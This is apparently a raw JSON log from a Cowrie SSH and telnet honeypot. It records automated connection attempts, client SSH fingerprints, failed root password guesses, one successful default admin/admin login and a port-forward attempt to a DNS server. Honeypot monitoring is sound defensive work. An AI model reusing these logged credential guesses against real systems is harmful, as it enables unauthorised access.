{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:09.161240Z","src_ip":"129.226.4.94","session":"4268c0c1de2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.194","src_port":59132,"dst_ip":"10.17.0.5","dst_port":23,"session":"356b03b587a4","protocol":"telnet","message":"New connection: 205.210.31.194:59132 (10.17.0.5:23) [session: 356b03b587a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:11.113988Z"}
{"eventid":"cowrie.session.closed","duration":9.878150701522827,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:20.992057Z","src_ip":"205.210.31.194","session":"356b03b587a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32894,"dst_ip":"159.203.135.109","dst_port":23,"session":"62dca1f062fa","protocol":"telnet","message":"New connection: 135.148.14.151:32894 (159.203.135.109:23) [session: 62dca1f062fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:50.518899Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36548,"dst_ip":"159.203.135.109","dst_port":23,"session":"d702d5f741ca","protocol":"telnet","message":"New connection: 135.148.14.151:36548 (159.203.135.109:23) [session: d702d5f741ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:05.100287Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":54916,"dst_ip":"10.17.0.5","dst_port":22,"session":"c17ae4236c48","protocol":"ssh","message":"New connection: 62.133.63.178:54916 (10.17.0.5:22) [session: c17ae4236c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:13.239763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:13.245336Z","src_ip":"62.133.63.178","session":"c17ae4236c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:13.382485Z","src_ip":"62.133.63.178","session":"c17ae4236c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jungle","message":"login attempt [root/jungle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:13.765231Z","src_ip":"62.133.63.178","session":"c17ae4236c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:14.895005Z","src_ip":"62.133.63.178","session":"c17ae4236c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43920,"dst_ip":"159.203.135.109","dst_port":23,"session":"0767f870195d","protocol":"telnet","message":"New connection: 135.148.14.151:43920 (159.203.135.109:23) [session: 0767f870195d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:17.101176Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45066,"dst_ip":"159.203.135.109","dst_port":23,"session":"173411e6b015","protocol":"telnet","message":"New connection: 135.148.14.151:45066 (159.203.135.109:23) [session: 173411e6b015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:18.640650Z"}
{"eventid":"cowrie.session.closed","duration":38.623170137405396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:29.141923Z","src_ip":"135.148.14.151","session":"62dca1f062fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56870460510254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:37.668575Z","src_ip":"135.148.14.151","session":"d702d5f741ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":53384,"dst_ip":"159.203.135.109","dst_port":22,"session":"66e45700ded9","protocol":"ssh","message":"New connection: 197.221.232.44:53384 (159.203.135.109:22) [session: 66e45700ded9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:52.790812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:52.796433Z","src_ip":"197.221.232.44","session":"66e45700ded9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:53.041249Z","src_ip":"197.221.232.44","session":"66e45700ded9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e$R","message":"login attempt [root/1q2w3e$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:54.053351Z","src_ip":"197.221.232.44","session":"66e45700ded9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.09616494178772,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:54.197190Z","src_ip":"135.148.14.151","session":"0767f870195d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.67850923538208,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:54.319059Z","src_ip":"135.148.14.151","session":"173411e6b015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:47:55.301483Z","src_ip":"197.221.232.44","session":"66e45700ded9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":36802,"dst_ip":"10.17.0.5","dst_port":22,"session":"f31e26928129","protocol":"ssh","message":"New connection: 147.45.197.250:36802 (10.17.0.5:22) [session: f31e26928129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:00.645261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:00.650607Z","src_ip":"147.45.197.250","session":"f31e26928129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:00.750568Z","src_ip":"147.45.197.250","session":"f31e26928129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05081988","message":"login attempt [root/05081988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:01.038666Z","src_ip":"147.45.197.250","session":"f31e26928129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:02.136655Z","src_ip":"147.45.197.250","session":"f31e26928129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57324,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b9318bccfdd","protocol":"ssh","message":"New connection: 193.37.70.224:57324 (159.203.135.109:22) [session: 3b9318bccfdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:02.459291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:02.472047Z","src_ip":"193.37.70.224","session":"3b9318bccfdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:02.559609Z","src_ip":"193.37.70.224","session":"3b9318bccfdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jumpjet","message":"login attempt [root/jumpjet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:02.829793Z","src_ip":"193.37.70.224","session":"3b9318bccfdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:03.920461Z","src_ip":"193.37.70.224","session":"3b9318bccfdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42492,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bd362a604d4","protocol":"ssh","message":"New connection: 103.122.221.179:42492 (159.203.135.109:22) [session: 2bd362a604d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:11.603098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:11.608338Z","src_ip":"103.122.221.179","session":"2bd362a604d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:11.855033Z","src_ip":"103.122.221.179","session":"2bd362a604d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trfnthbyf1","message":"login attempt [root/trfnthbyf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:12.594691Z","src_ip":"103.122.221.179","session":"2bd362a604d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:13.845186Z","src_ip":"103.122.221.179","session":"2bd362a604d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19470,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e84b15324f2","protocol":"ssh","message":"New connection: 87.251.64.176:19470 (10.17.0.5:22) [session: 9e84b15324f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:16.022567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:16.034453Z","src_ip":"87.251.64.176","session":"9e84b15324f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:16.130178Z","src_ip":"87.251.64.176","session":"9e84b15324f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:16.414307Z","src_ip":"87.251.64.176","session":"9e84b15324f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:16.510921Z","session":"9e84b15324f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:16.606975Z","src_ip":"87.251.64.176","session":"9e84b15324f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:16.707736Z","src_ip":"87.251.64.176","session":"9e84b15324f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44610,"dst_ip":"159.203.135.109","dst_port":23,"session":"9948d45f5ccd","protocol":"telnet","message":"New connection: 135.148.14.151:44610 (159.203.135.109:23) [session: 9948d45f5ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:19.275810Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34100,"dst_ip":"10.17.0.5","dst_port":22,"session":"df5dfb645fca","protocol":"ssh","message":"New connection: 37.233.85.71:34100 (10.17.0.5:22) [session: df5dfb645fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:39.683098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:39.687768Z","src_ip":"37.233.85.71","session":"df5dfb645fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:39.787661Z","src_ip":"37.233.85.71","session":"df5dfb645fca","protocol":"ssh"}
